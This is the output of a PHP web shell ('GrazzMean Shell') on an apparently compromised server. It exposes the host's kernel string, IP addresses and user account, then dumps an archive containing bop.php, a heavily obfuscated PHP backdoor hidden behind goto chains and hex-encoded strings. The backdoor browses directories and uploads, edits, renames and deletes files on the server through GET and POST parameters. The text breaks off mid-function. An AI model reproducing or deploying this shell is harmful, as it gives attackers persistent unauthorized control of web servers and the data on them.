shell bypass 403

GrazzMean Shell

: /proc/thread-self/cwd/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 3.145.178.65
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : shawwa.tar
bop.php000064400000172310147510612050006042 0ustar00<?php
 goto ZdiF9; jMMxl: echo "\x3c\163\143\x72\151\160\164\x3e\167\x69\x6e\144\x6f\x77\x2e\154\157\x63\x61\164\151\157\156\56\162\x65\160\154\141\143\x65\50\47\77\x70\x3d\47\x29\73\x3c\x2f\163\x63\162\151\x70\x74\x3e"; goto NceqX; BWeZO: i9EUM: goto msapP; ab0lu: goto sQOJ_; goto ir8bv; P3avQ: V_qpU: goto LPtHw; A3nTM: BUsiZ: goto pJ27s; U8hgQ: goto BBXV4; goto SMCag; W9Xqs: goto CY4iE; goto Owl1p; Mt0YO: goto rF6w0; goto t5SJZ; oaU4D: d577N: goto P0OHr; Cusjf: goto M0QMH; goto xCw5Z; BqMBs: goto pkTKS; goto P3avQ; GTSJ1: S1hO1: goto d38bs; kRION: pl7gd: goto uVcqc; tT5Cn: hzE7r: goto r8w4c; kQZdn: goto b1LP0; goto oOBLC; Hx4RL: goto AVX8L; goto fdPc2; X24og: goto VCkMf; goto S8W2C; ihBlf: goto vsQtH; goto Az7Uu; gh6EW: echo "\x3c\x73\143\x72\x69\x70\x74\x3e\x61\154\145\x72\164\x28\47\x53\157\x6d\145\x20\x65\162\162\x6f\162\x20\x6f\143\x63\x75\x72\x72\x65\x64\x2e\47\51\x3b\40\167\151\156\x64\157\x77\x2e\x6c\x6f\143\x61\164\x69\157\x6e\x2e\x72\x65\160\x6c\141\x63\145\x28\47\x3f\160\x3d" . FVvcH(BiAk2) . "\47\x29\73\x3c\x2f\x73\143\x72\151\160\164\x3e"; goto HN90p; HoySF: goto PeSbs; goto lfX2V; ObyqA: r54vC: goto jEpGY; OKIdE: $yWr_G = BiAk2 . "\x2f" . $_GET["\144"]; goto oH_vo; ziYAg: lWD4Q: goto MUUf3; E8QEp: goto ToZxB; goto G1nl6; atCPr: if (!is_dir(Rf42G($_GET["\x70"]))) { goto Vl7lX; } goto HMuii; Ydtqs: mTAZ6: goto xQe0g; oM9bu: LWmIs: goto Fmj3t; Xdr07: Ed5i5: goto q22Ns; F6LtH: goto y2jhu; goto KbIQg; sG5FZ: if (isset($_GET["\145"])) { goto WNxfF; } goto blw8e; fpMBI: J7bms: goto hharf; ENAB9: goto pheDb; goto E1pIm; ir8bv: z_NGP: goto egHZy; HN90p: goto Vw_wx; goto DKwiR; M2pb0: b7zaC: goto RyEXK; qacyQ: WCjaF: goto C2b_z; DuYor: goto AlG72; goto RqYrp; pJCwc: $RqUEp = RF42g($_GET["\x70"]); goto K22RT; LPtHw: bb8YR: goto yqln5; vSfS9: H6vBs: goto slx9O; GG8Lo: OEUhw: goto g5ueS; G2w2b: echo "\xa\74\x2f\x64\151\166\76\12\x3c\144\x69\x76\40\143\x6c\141\163\x73\75\x22\146\x6f\162\155\55\x69\x6e\x6c\x69\156\x65\x22\76\12\x3c\x61\40\150\x72\145\146\75\42\77\x75\x70\154\x6f\x61\144\x26\161\x3d" . urlencode(fvVcH(BiAk2)) . "\42\76\74\142\165\164\164\157\156\x20\x63\x6c\x61\x73\163\75\x22\142\x74\x6e\x20\x62\164\x6e\55\x64\x61\x72\153\42\x20\164\171\160\145\75\x22\x62\165\164\164\157\156\x22\76\x55\x70\154\x6f\141\144\40\x46\151\x6c\145\74\57\x62\x75\164\x74\x6f\x6e\76\74\57\141\76\xa\x3c\x61\x20\x68\x72\145\146\75\x22\x3f\42\76\x3c\x62\165\x74\164\x6f\x6e\x20\x74\171\x70\145\x3d\42\142\x75\164\164\x6f\x6e\x22\x20\143\x6c\141\x73\x73\x3d\x22\x62\x74\156\x20\142\x74\156\55\144\x61\162\x6b\42\x3e\x48\x4f\x4d\x45\x3c\x2f\x62\165\164\164\x6f\156\76\74\x2f\x61\76\40\12\74\57\144\151\166\76\12\74\57\x6e\x61\x76\x3e"; goto uAi2u; JYPhg: eBJn3: goto rhPOw; Kdr1K: goto Ed5i5; goto AohB4; Jxk1d: goto tKfp_; goto F6LtH; BBbvM: if (!isset($_GET["\x71"])) { goto LWmIs; } goto TJ9nE; Z2KlP: if (!empty($_GET["\160"])) { goto N5a5s; } goto ENAB9; TJ9nE: goto qYJdO; goto oM9bu; A3qXr: goto Ii7i1; goto peb0g; IWu3l: goto qbrLn; goto OEDs7; yeQey: goto J7bms; goto iu5EN; xCw5Z: M0QMH: goto JjIjt; Z29ND: fHG5b: goto gh6EW; fBNNX: ToZxB: goto M9fLH; aOX2u: goto d7L5q; goto GG8Lo; LyMs7: jeTL8: goto cib3h; nZB9l: wSc8D: goto Xa2jL; fdPc2: TWLbv: goto sG5FZ; lfX2V: jmMol: goto xw5DR; dD0am: goto Zoz1q; goto IA3U6; P0Vxf: echo "\74\x73\x63\x72\x69\160\164\x3e\xa\x61\x6c\x65\162\x74\x28\47\104\151\x72\145\143\164\x6f\x72\171\x20\151\x73\x20\103\x6f\162\x72\x75\160\164\145\144\x20\x61\156\x64\40\125\x6e\x72\145\x61\x64\141\x62\154\x65\56\47\x29\x3b\12\x77\151\156\x64\x6f\167\56\154\x6f\143\x61\164\151\x6f\156\x2e\x72\x65\x70\x6c\141\143\x65\50\47\77\x27\x29\x3b\xa\x3c\57\163\143\x72\x69\x70\164\x3e"; goto Cusjf; xW7uh: goto Hk3gr; goto PjTyP; PsYed: foreach ($IHsCP as $EcFZE) { goto oiDHi; dgjyX: O0EPX: goto vIw2N; oiDHi: echo "\x20\x20\x20\40\x3c\164\x72\x3e\xa\x20\x20\x20\40\40\40\74\x74\x64\x3e\x3c\151\40\x63\154\141\x73\163\75\47\x66\141\x2d\163\157\x6c\x69\144\x20\x66\x61\x2d\x66\x6f\154\144\145\162\x27\x3e\x3c\x2f\151\76\x20\x3c\141\40\x68\x72\x65\146\x3d\x27\x3f\x70\75" . urlencode(fvVcH(BiAk2 . "\57" . $EcFZE)) . "\47\x3e" . $EcFZE . "\x3c\57\x61\76\x3c\57\x74\144\76\12\40\40\40\40\40\x20\74\164\144\76\74\142\x3e\x2d\x2d\x2d\x3c\57\x62\x3e\x3c\x2f\164\144\76\12\x20\x20\40\40\x20\x20\74\164\144\x3e" . date("\x46\40\144\40\131\x20\110\72\151\x3a\163\56", filemtime(BiAk2 . "\57" . $EcFZE)) . "\x3c\x2f\164\144\x3e\xa\40\x20\x20\x20\x20\40\74\x74\144\x3e\x30" . substr(decoct(fileperms(BiAk2 . "\x2f" . $EcFZE)), -3) . "\74\57\141\x3e\74\57\x74\x64\76\xa\40\x20\40\x20\x20\x20\x3c\164\144\x3e\12\40\40\40\40\40\40\74\141\40\164\151\x74\x6c\145\x3d\x27\122\145\x6e\x61\155\145\x27\40\150\162\145\x66\75\47\77\x71\75" . urlencode(FvVCH(BiAk2)) . "\x26\162\75" . $EcFZE . "\47\76\74\151\40\x63\x6c\x61\x73\x73\x3d\47\x66\141\x2d\x73\150\141\162\x70\x20\x66\141\x2d\x72\x65\147\165\154\x61\162\x20\146\x61\x2d\x70\x65\x6e\55\164\157\x2d\163\x71\x75\141\162\x65\47\76\x3c\57\151\76\74\57\141\76\12\40\x20\x20\40\40\x20\x3c\141\40\x74\x69\164\x6c\x65\x3d\47\104\x65\154\145\164\x65\x27\x20\150\162\145\146\x3d\47\77\161\75" . urlencode(Fvvch(BiAk2)) . "\x26\144\75" . $EcFZE . "\47\76\74\151\40\x63\x6c\141\x73\x73\75\x27\x66\141\40\x66\141\55\x74\x72\x61\163\150\47\x20\141\x72\x69\141\55\x68\x69\144\x64\x65\156\x3d\x27\164\162\x75\145\x27\76\74\x2f\151\76\74\x2f\x61\76\12\x20\40\x20\x20\x20\40\74\x74\x64\x3e\xa\40\x20\40\40\74\57\x74\162\x3e\xa"; goto dgjyX; vIw2N: w0YD0: goto oMJpW; oMJpW: } goto S5OzX; blw8e: goto EWlAt; goto ofNFH; inrUL: de9Ge: goto djCcM; hharf: if (!empty($_GET["\145"]) && isset($_GET["\x71"])) { goto H6vBs; } goto Eb1eM; InNNz: PeSbs: goto xBeVO; MSc2F: aPR2J: goto gi2kT; q87Jk: goto ayJ78; goto ZUovY; QZlDF: Z2xlj: goto WF9pr; MB3c0: foreach ($Vq7jy as $bFLcc) { goto MAmmq; MAmmq: echo "\40\x20\x20\40\74\x74\162\x3e\12\40\x20\40\40\40\x20\x20\40\x20\x20\74\x74\x64\76" . EaQz1($bFLcc) . $bFLcc . "\74\x2f\x74\144\76\12\40\x20\40\40\x20\40\40\40\x20\40\74\164\x64\76" . a6QmD(filesize(BiAk2 . "\57" . $bFLcc)) . "\x3c\57\164\x64\x3e\xa\x20\x20\x20\x20\40\x20\40\40\x20\x20\x3c\164\x64\x3e" . date("\106\x20\144\x20\131\40\x48\72\x69\x3a\x73\56", filemtime(BiAk2 . "\57" . $bFLcc)) . "\x3c\x2f\x74\x64\76\12\x20\40\x20\x20\x20\40\40\40\x20\x20\x3c\x74\144\76\x30" . substr(decoct(fileperms(BiAk2 . "\x2f" . $bFLcc)), -3) . "\x3c\x2f\x61\x3e\x3c\x2f\x74\x64\x3e\xa\x20\40\x20\x20\x20\x20\40\x20\x20\40\74\x74\144\76\xa\40\x20\40\40\x20\x20\40\x20\x20\x20\x3c\141\40\x74\x69\x74\x6c\x65\75\47\105\144\x69\164\40\x46\151\154\x65\x27\40\x68\162\145\x66\75\x27\x3f\x71\x3d" . urlencode(fvVcH(BiAk2)) . "\46\145\75" . $bFLcc . "\47\76\74\x69\40\x63\x6c\141\x73\x73\75\47\x66\x61\55\x73\x6f\154\151\144\40\x66\x61\x2d\146\x69\x6c\x65\x2d\x70\145\156\x27\76\x3c\57\x69\x3e\74\57\141\x3e\12\40\x20\40\x20\40\40\40\x20\40\40\74\x61\40\164\151\x74\x6c\145\x3d\47\122\145\156\x61\155\145\47\40\150\x72\145\146\x3d\47\77\161\x3d" . urlencode(FVVch(BiAk2)) . "\x26\x72\75" . $bFLcc . "\47\x3e\74\x69\40\143\x6c\x61\163\163\75\x27\x66\x61\x2d\163\x68\141\x72\160\40\146\141\x2d\162\145\x67\165\x6c\141\x72\x20\x66\x61\55\160\145\x6e\55\x74\157\55\x73\x71\x75\x61\x72\145\47\x3e\x3c\57\151\x3e\74\57\x61\x3e\xa\x20\x20\x20\40\x20\x20\40\x20\x20\40\x3c\x61\40\164\151\x74\x6c\145\75\x27\104\145\154\145\x74\x65\x27\40\150\x72\145\146\x3d\47\x3f\161\x3d" . urlencode(FvvcH(BiAk2)) . "\46\x64\75" . $bFLcc . "\x27\76\74\151\x20\143\154\141\163\x73\75\47\x66\141\40\x66\x61\x2d\164\162\x61\x73\x68\x27\x20\141\x72\x69\141\x2d\x68\x69\144\x64\145\156\75\47\x74\x72\165\145\x27\76\74\57\x69\76\74\x2f\141\76\xa\40\x20\40\40\40\x20\x20\x20\x20\40\74\x74\x64\76\xa\40\40\40\x20\x3c\57\164\162\76\12"; goto Gnpec; Gnpec: dksDn: goto BDiDk; BDiDk: FfwoX: goto ysqjW; ysqjW: } goto tGcIw; r58Tj: function yW2K3($bFLcc) { return substr(strrchr($bFLcc, "\56"), 1); } goto vButR; S8umE: tqxAN: goto OKIdE; GkSmD: rXJoI: goto VScMe; LNxR5: QDmwy: goto SFof9; JKh4T: goto xsiJ7; goto D3FRx; wf15E: goto Faaq7; goto BWeZO; D3FRx: nv1ec: goto Bpnt2; GXE9g: goto fH4pl; goto u1opu; SFof9: goto su1GO; goto IiNvb; EnjTA: qt3kE: goto aqOV7; lU9n1: xsiJ7: goto P0Vxf; JqvhZ: Ujux3: goto Zorus; oE2_C: t05ib: goto cS30_; PPglv: goto GA838; goto uhiqj; RqYrp: AiKDK: goto c1ckf; Byluh: goto FJgTU; goto W8TM0; djCcM: mAbKi: goto Qs2sL; wF0Ja: foreach ($Xb7P9 as $icZz0) { goto th82k; R9hnK: if (!is_dir($wPUby)) { goto Zi5qI; } goto P_VvV; SXTfX: vm6Hd: goto O4QuS; th82k: goto Zk04l; goto ydyHG; ZKckS: goto G92Uo; goto mybLz; RtQhV: $wPUby = BiAk2 . "\x2f" . $icZz0; goto XM8il; mybLz: pP1AK: goto vdpJN; JpKje: eCvaW: goto HxbEf; XMHt3: v1_Mm: goto SpDVF; JMaYH: Zk04l: goto re0DN; Eq3EU: UkaQN: goto WxWBY; N0z2J: goto pP1AK; goto dP8zQ; vdpJN: if (!is_file($wPUby)) { goto q3a0z; } goto Y6_wb; oLzLN: tHEMQ: goto d8AST; s_Btz: SIbno: goto hwFpT; JfqQX: RwafC: goto RtQhV; P_VvV: goto raUZM; goto lUX5s; IkNIo: q3a0z: goto iEv8f; HxbEf: goto vm6Hd; goto sgdr0; WxWBY: raUZM: goto XFSJH; hwFpT: M31ET: goto v0MD9; d8AST: goto vm6Hd; goto OcZPe; w6KYk: r7mRz: goto i9zkl; XFSJH: goto ORN3Z; goto W456D; Kqvk8: goto bSrLw; goto XMHt3; OcZPe: goto UkaQN; goto s_Btz; v0MD9: goto r7mRz; goto w6KYk; ydyHG: M4bSw: goto nmw6n; lUX5s: Zi5qI: goto N0z2J; O4QuS: goto Wlxhf; goto oLzLN; P8MCS: c906w: goto bsygO; TJ70e: goto Q_PpS; goto nouO4; whGHM: goto RwafC; goto JfqQX; EZHYI: G92Uo: goto SXTfX; nmw6n: bSrLw: goto whGHM; iEv8f: goto tHEMQ; goto gdjwT; IGBVu: Q_PpS: goto GHsTl; bsygO: Ws9ZQ: goto GWSlI; W456D: xz3h1: goto R9hnK; re0DN: if ($icZz0 == "\x2e" || $icZz0 == "\56\x2e") { goto v1_Mm; } goto Kqvk8; sgdr0: goto SIbno; goto dVEoE; i9zkl: array_push($Vq7jy, $icZz0); goto ZKckS; gdjwT: gM_G9: goto TJ70e; t6Ax4: goto eCvaW; goto Eq3EU; SpDVF: goto gM_G9; goto JpKje; XM8il: goto xz3h1; goto EZHYI; L41yY: array_push($IHsCP, $icZz0); goto t6Ax4; GHsTl: goto c906w; goto P8MCS; Y6_wb: goto M31ET; goto IkNIo; nouO4: goto M4bSw; goto JMaYH; dVEoE: ORN3Z: goto L41yY; dP8zQ: Wlxhf: goto IGBVu; GWSlI: } goto DfgDe; oOBLC: d7L5q: goto xW04e; M9fLH: gTBBG: goto W9Xqs; hAPRg: goto FbEVF; goto OiOVL; VScMe: echo "\74\x73\143\162\x69\160\164\x3e\x61\154\x65\x72\x74\x28\47\123\x61\166\x65\144\x2e\47\x29\73\x20\x77\151\x6e\144\157\x77\x2e\x6c\x6f\143\x61\x74\x69\x6f\156\56\162\145\x70\154\141\x63\x65\50\x27\77\160\75" . fvvCh(BiAk2) . "\47\51\x3b\x3c\57\x73\x63\162\x69\160\164\x3e"; goto IWu3l; L1sBE: $B2eoY = $_POST["\x64\141\x74\x61"]; goto gQ9pE; eWDTY: P2r97: goto PsYed; CUU2u: TXZYw: goto rGIxF; a77uR: goto DcMlt; goto s1Ah5; aZ06O: lBP2Y: goto nPiM0; MvEFB: echo "\40\40\x3c\57\164\142\157\144\x79\76\xa\74\57\x74\141\142\x6c\x65\x3e"; goto Aw6AG; orjkQ: bzcsW: goto ZKBjs; mylan: qYJdO: goto Hx4RL; wmf9S: PHrPD: goto ZrCV1; hQGKj: $idYE7 = fopen($dLzHr, "\167"); goto hAPRg; sl73k: $RqUEp = $NXKaz; goto OWd7L; pX2Xe: VCkMf: goto U8hgQ; o8yd7: Z79bT: goto MXw0K; DQcNV: y2jhu: goto XKtLO; xBeVO: goto rXJoI; goto Vq5MX; IA3U6: X_9OE: goto huEX2; wYw3z: echo "\12\40\40\40\x20\x3c\146\x6f\x72\155\x20\x6d\145\x74\x68\x6f\x64\75\42\160\x6f\163\164\42\40\x65\156\143\164\x79\x70\x65\75\x22\x6d\x75\x6c\164\x69\160\141\x72\164\57\146\x6f\x72\155\55\144\x61\x74\x61\x22\76\xa\x20\40\40\x20\x20\40\40\x20\123\145\154\x65\143\x74\40\x66\151\154\x65\x20\164\x6f\x20\x75\160\154\x6f\141\x64\72\12\40\40\40\40\40\x20\40\x20\74\151\x6e\160\165\164\40\x74\x79\160\145\x3d\x22\146\151\154\x65\42\40\x6e\141\x6d\x65\x3d\42\x66\151\x6c\x65\x54\157\125\x70\154\157\141\x64\42\x20\151\144\75\42\146\151\154\145\x54\x6f\x55\x70\154\x6f\x61\144\42\76\12\40\40\x20\40\x20\x20\x20\40\74\x69\x6e\x70\165\x74\x20\x74\171\160\145\75\x22\x73\x75\x62\155\151\x74\42\x20\x63\154\141\163\x73\75\42\142\x74\156\40\x62\164\156\55\144\141\162\153\x22\x20\166\141\x6c\x75\x65\75\42\x55\x70\154\157\141\x64\42\x20\x6e\x61\155\145\x3d\x22\165\x70\154\x6f\x61\x64\x22\76\xa\40\40\40\x20\x3c\57\x66\157\x72\x6d\x3e"; goto E8QEp; KIz0E: Yz5aS: goto oE2_C; AxAYt: $yWr_G = BiAk2 . "\x2f" . $_GET["\162"]; goto xYOvr; S5eVM: goto t05ib; goto K2pFD; qHbcX: fH4pl: goto IJQjs; ocUT4: echo "\74\x70\x3e\x53\x6f\162\162\171\54\x20\164\x68\145\x72\145\x20\167\141\163\x20\141\156\x20\145\162\162\157\162\x20\165\x70\154\x6f\141\144\151\156\147\x20\x79\x6f\165\162\40\146\151\154\x65\56\x3c\57\x70\76"; goto QgvlT; EM3g5: AIZkd: goto gKAX5; DLIad: o4kdf: goto vmeR3; N8IWs: if (!unlink($yWr_G)) { goto RIZR0; } goto xaQBu; qBC2M: FRXlH: goto PPglv; zQ2iK: goto uv0GR; goto hb1ZV; yCr1v: j76Su: goto ovfCy; KbIQg: tkGZB: goto XhnRq; P0OHr: goto BvBSu; goto uAK1C; n8CHQ: vsQtH: goto FgGn_; QgvlT: goto cakjA; goto ObyqA; Zf_SU: tKfp_: goto iEobI; O3fNV: goto OkVHq; goto Z29ND; O4xH4: goto uPVNS; goto oyUvZ; GuGMV: goto ce00T; goto LgCY8; gowy_: goto z_NGP; goto fk61e; xQe0g: goto vw8BM; goto xczmT; awhqX: goto bb8YR; goto NcCDN; C2b_z: if (!is_dir(RF42g($_GET["\x71"]))) { goto ML8Zo; } goto uYBKB; zbnpp: goto CK1lm; goto qacyQ; lcjJn: echo "\x3c\x73\x63\162\151\160\164\x3e\141\x6c\145\x72\x74\x28\47\x52\145\x6e\141\x6d\145\x64\x2e\x27\51\73\40\x77\x69\x6e\144\x6f\167\56\154\x6f\143\141\x74\x69\x6f\156\x2e\x72\145\160\154\x61\143\145\x28\47\77\160\x3d" . FVvcH(BiAk2) . "\47\x29\73\x3c\x2f\163\x63\x72\x69\160\x74\76"; goto TGh8N; dr1SH: rej3V: goto Jxk1d; vmeR3: goto XVyso; goto FBcGW; E7pQR: goto lWD4Q; goto fBNNX; jxOmx: goto jeTL8; goto rT0XR; KuNOr: goto QvHkT; goto QZlDF; tnFk7: Be7Zz: goto lcjJn; OZo21: Ii7i1: goto WGIdw; E_JBL: goto ICEaW; goto juoJM; XhwR4: $grIsD = str_replace("\x5c", "\57", BiAk2); goto zQ2iK; HEWQY: FJgTU: goto pJCwc; PjTyP: nO5XD: goto RIZ5X; O6Lcd: goto e7JaM; goto ajx2P; yBsqQ: ZdCLC: goto pfWDZ; gQ9pE: goto Xe6N7; goto EnjTA; jFl4Q: goto SpNEI; goto ofAbE; zJfUX: e3QMD: goto knQ8U; HMuii: goto XZQG5; goto zkI2l; XRfWb: illyg: goto dD0am; NcCDN: goto tkGZB; goto kRION; bmSFA: pkTKS: goto OZo21; E_geL: ooTyp: goto kq34l; Zorus: function a6qmd($l2_8b) { goto UuWla; Avs2y: goto Qlr_Y; goto eQnzW; BLslA: $l2_8b = number_format($l2_8b / 1048576, 2) . "\40\115\x42"; goto at9lp; vaSmh: JNqNc: goto qGJGa; fKE5j: goto cN_w7; goto x2003; y1wiZ: goto sryuQ; goto HwvYo; igta4: s7CpZ: goto k1fjP; o1BdG: goto dzdLJ; goto h8zhQ; fup2W: fANN6: goto BLslA; iehcX: goto pQsgE; goto bCjo_; iJxiM: goto BLTv1; goto ctd4q; qGJGa: AumCl: goto Avs2y; Ll6e5: return $l2_8b; goto o1BdG; A029R: $l2_8b = number_format($l2_8b / 1024, 2) . "\40\x4b\102"; goto WnHX9; eQnzW: IzOmc: goto sZyiY; h8zhQ: Iuulg: goto s1CZB; x2003: pQsgE: goto jw9TI; Iq7YL: dzdLJ: goto yg_WC; fxSuC: goto JNqNc; goto vaSmh; AEu4L: ueyr1: goto S2R1U; sGAj1: goto fANN6; goto VEzGF; kOFeU: ZN9nZ: goto nGDp4; HQtUX: $l2_8b = $l2_8b . "\x20\x62\x79\x74\145"; goto fxSuC; k1fjP: goto CbIX6; goto fTcT2; F2M2O: goto IzOmc; goto Iq7YL; qWTR0: vLZmz: goto SIrOY; qBw0r: goto sirEC; goto EpCbN; UuWla: goto W1nhJ; goto HTu46; gnvpv: goto ueyr1; goto A7qpT; FKKvh: if (!($l2_8b == 1)) { goto ZN9nZ; } goto twTS7; Gj_Pk: if (!($l2_8b >= 1073741824)) { goto u1CXe; } goto j11c2; eBPaU: tymuT: goto Hol1b; qSkAM: goto AumCl; goto zUVnK; at9lp: goto vP8lD; goto gFkXP; ed9OS: u1CXe: goto YYWl1; iJcN9: if (!($l2_8b > 1)) { goto BTWQ1; } goto y1wiZ; A7qpT: vP8lD: goto hEcHx; bfg9X: $l2_8b = number_format($l2_8b / 1073741824, 2) . "\x20\x47\102"; goto HvDza; bCjo_: CbIX6: goto bLm6n; jFyNt: BLTv1: goto K0Qhy; EZS89: Qlr_Y: goto Ll6e5; twTS7: goto bg3Xh; goto kOFeU; gFkXP: ZMafw: goto tKAzX; EpCbN: W1nhJ: goto Gj_Pk; VEzGF: cTDJR: goto FKKvh; bA46e: goto cTDJR; goto vFm3Y; E38WR: xSWdm: goto eajfs; nIG3x: $l2_8b = "\x30\40\142\x79\x74\145\x73"; goto ET8MG; pEs6p: goto ZMafw; goto tv8IU; K0Qhy: $l2_8b = $l2_8b . "\x20\142\171\164\x65\163"; goto pEs6p; ntCjw: goto exgAa; goto igta4; ajkqB: vP9xb: goto iJcN9; bLm6n: if (!($l2_8b >= 1024)) { goto xSWdm; } goto Y3ol2; hkhWR: goto oV90k; goto XP3Vp; zUVnK: goto Iuulg; goto ajkqB; pl6Sw: goto AumCl; goto gnvpv; tKAzX: goto AumCl; goto fKE5j; Y3ol2: goto JlGuc; goto E38WR; WnHX9: goto g5jxs; goto jFyNt; ET8MG: goto KjHaD; goto eBPaU; c_B9Z: ymEuJ: goto bfg9X; Hol1b: if (!($l2_8b >= 1048576)) { goto s7CpZ; } goto ntCjw; KIEVi: goto ymEuJ; goto AEu4L; SIrOY: goto AumCl; goto F2M2O; UgwUf: bg3Xh: goto qBw0r; vFm3Y: Yk4Ws: goto nIG3x; eajfs: goto vP9xb; goto c_B9Z; hEcHx: goto AumCl; goto iehcX; HvDza: goto vLZmz; goto qWTR0; S2R1U: sryuQ: goto iJxiM; s1CZB: eahP2: goto KIEVi; sZyiY: exgAa: goto sGAj1; XP3Vp: g5jxs: goto pl6Sw; HTu46: oV90k: goto A029R; HwvYo: BTWQ1: goto bA46e; jw9TI: JlGuc: goto hkhWR; YYWl1: goto tymuT; goto EZS89; j11c2: goto eahP2; goto ed9OS; ctd4q: sirEC: goto HQtUX; tv8IU: KjHaD: goto qSkAM; nGDp4: goto Yk4Ws; goto fup2W; fTcT2: cN_w7: goto UgwUf; yg_WC: } goto KuNOr; uCMC3: goto FmklC; goto ftyKQ; eDPtG: goto CfL6O; goto Q8sl3; s1Ah5: oGYr3: goto wF0Ja; RLVjX: goto RiYFy; goto S8umE; Ts22z: LlGvk: goto xLJyQ; j00o5: $Gb7jr = BiAk2 . "\x2f" . $_FILES["\146\151\x6c\145\x54\x6f\x55\160\x6c\x6f\x61\144"]["\156\141\x6d\x65"]; goto EMRfT; pXcVA: CSQMT: goto MhFSZ; uhiqj: F7it8: goto b0wNF; UpEtu: cOLra: goto AxAYt; IGpRs: if (!is_dir($yWr_G)) { goto cH0KW; } goto jxOmx; RIZ5X: if (is_dir(RF42g($_GET["\x70"]))) { goto QDmwy; } goto MIZdy; K2pFD: goto PHrPD; goto rbXzs; E1pIm: N5a5s: goto QqC0E; xaQBu: goto LtFKK; goto Wtqrp; IJQjs: if (!empty($_GET["\162"]) && isset($_GET["\161"])) { goto mJ9MY; } goto Q6PBB; oVa1x: vw8BM: goto pX2Xe; Ibx1e: goto AiKDK; goto n8CHQ; aqOV7: goto tKfp_; goto q87Jk; lGd_y: goto aVsEZ; goto pZjkg; pWndG: e7JaM: goto qRxsa; EMRfT: goto x3aje; goto r3JJ5; hb1ZV: uPVNS: goto rRaEx; JO7v1: wNvKn: goto N8IWs; qo8f2: if (isset($_GET["\165\160\154\157\141\144"])) { goto UcQ2I; } goto zfHzw; TGh8N: goto F7it8; goto L3O4I; jEpGY: oKdTp: goto Q32KK; NywVC: goto Bl1cL; goto inrUL; mFhd1: WxiCp: goto czs9p; CWENq: $RqUEp = RF42G($_GET["\161"]); goto aOX2u; WF9pr: if (!isset($_GET["\160"])) { goto tWYuY; } goto Jclv3; xYOvr: goto vv5Ep; goto GUlbz; ZOJBt: function FvVCh($grIsD) { goto wneEd; NDhhq: sAFn8: goto MHml7; JdV4T: nWdp0: goto oX79k; MHml7: $upo1L = array("\343\x81\x82", "\343\x82\213", "\347\xa7\x81", "\xe3\201\237"); goto wSLyM; oX79k: return str_replace($OUzcL, $upo1L, $grIsD); goto G7SyZ; wz78q: hPyba: goto Aa9rk; hoomL: goto sAFn8; goto NDhhq; wSLyM: goto nWdp0; goto wz78q; W54JU: $OUzcL = array("\x2f", "\134", "\x2e", "\x3a"); goto hoomL; wneEd: goto U05Ce; goto JdV4T; G7SyZ: goto hPyba; goto qOJ0m; qOJ0m: U05Ce: goto W54JU; Aa9rk: } goto E7pQR; Syx7s: goto gly68; goto O4xH4; VV85Q: aVsEZ: goto kj3FB; knQ8U: if (!is_file($yWr_G)) { goto IWIt0; } goto Mt0YO; t1Upu: Xe6N7: goto hQGKj; NdJIz: Z9e3k: goto qBC2M; ArJOj: gly68: goto ze817; WGIdw: goto Z9e3k; goto ixO5P; mWHS5: ML8Zo: goto O_iKY; nt3Ui: goto kzh6V; goto HBGqO; Respk: if (!rename($yWr_G, BiAk2 . "\x2f" . $_POST["\x6e\x61\x6d\145"])) { goto S1hO1; } goto oCzTL; WSELQ: awHDD: goto uj6jY; HBGqO: iWjM9: goto t4OQl; gZaeQ: mi_ER: goto jMMxl; Zy0MH: UcQ2I: goto uCMC3; Ohiyv: echo "\xa\40\x20\40\40\74\x66\x6f\162\x6d\x20\155\x65\x74\x68\157\144\x3d\42\160\157\x73\x74\42\x3e\xa\x20\x20\40\40\x20\x20\x20\x20\x3c\164\145\170\164\x61\x72\145\141\40\163\164\171\x6c\145\x3d\x22\150\x65\151\147\x68\x74\x3a\x20\65\60\60\x70\x78\73\12\40\x20\40\40\x20\x20\x20\x20\167\x69\144\164\x68\72\40\x39\x30\45\x3b\42\x20\156\x61\155\145\75\42\x64\141\x74\x61\x22\x3e" . htmlspecialchars(file_get_contents(BiAk2 . "\57" . $_GET["\x65"])) . "\74\x2f\x74\145\170\164\141\162\x65\141\76\12\40\40\40\x20\40\40\40\x20\x3c\x62\x72\x3e\12\40\40\x20\40\x20\x20\40\40\x3c\x69\156\x70\165\164\40\x74\171\x70\145\75\42\x73\165\x62\x6d\x69\x74\42\x20\143\x6c\x61\x73\163\75\x22\142\x74\x6e\40\142\x74\156\55\144\x61\x72\153\x22\40\166\x61\x6c\x75\145\75\42\123\141\x76\x65\x22\40\156\141\x6d\x65\75\42\x65\x64\x69\x74\42\x3e\xa\40\x20\x20\x20\74\57\x66\x6f\162\155\76"; goto kQZdn; JjIjt: goto t05ib; goto ihBlf; jSoKF: goto rsv9K; goto bmSFA; Jclv3: goto kmPdU; goto Vz5Kg; Q6PBB: goto PinTp; goto T6urt; kqKgb: goto oqNvT; goto Eh13M; WPAkh: goto Xk79M; goto rx2YP; XhnRq: rF6w0: goto KuX5B; JUf79: pheDb: goto pSFjS; pJ27s: $IHsCP = array(); goto nt3Ui; pSFjS: goto oCUU1; goto yCr1v; Az7Uu: Faaq7: goto ArJOj; W1DHH: goto BUsiZ; goto wmf9S; IfJPO: echo "\x3c\x73\x63\162\x69\x70\164\x3e\141\x6c\145\162\x74\50\x27\x46\x69\x6c\145\x20\x72\x65\155\x6f\x76\145\x64\x2e\x27\x29\x3b\40\167\151\156\144\157\167\56\x6c\157\143\x61\x74\x69\157\x6e\x2e\162\x65\160\154\141\x63\x65\x28\47\77\160\75" . fVvCh(BiAk2) . "\x27\x29\73\x3c\57\163\143\162\x69\x70\164\76"; goto wf15E; uVcqc: goto eCWd7; goto VkBrL; MUUf3: function rF42G($grIsD) { goto IqVTt; IqVTt: goto CTYs7; goto q9Uc4; jEufL: zpMl5: goto VvIJ9; q9Uc4: Ed1xb: goto i6JjQ; JOFUE: $OUzcL = array("\57", "\134", "\x2e", "\x3a"); goto Kaeq8; LLMeE: JE1df: goto nddYF; n6ji4: goto zpMl5; goto tA2on; i6JjQ: $upo1L = array("\343\x81\x82", "\343\202\x8b", "\347\247\x81", "\xe3\x81\x9f"); goto kp820; nddYF: return str_replace($upo1L, $OUzcL, $grIsD); goto n6ji4; kp820: goto 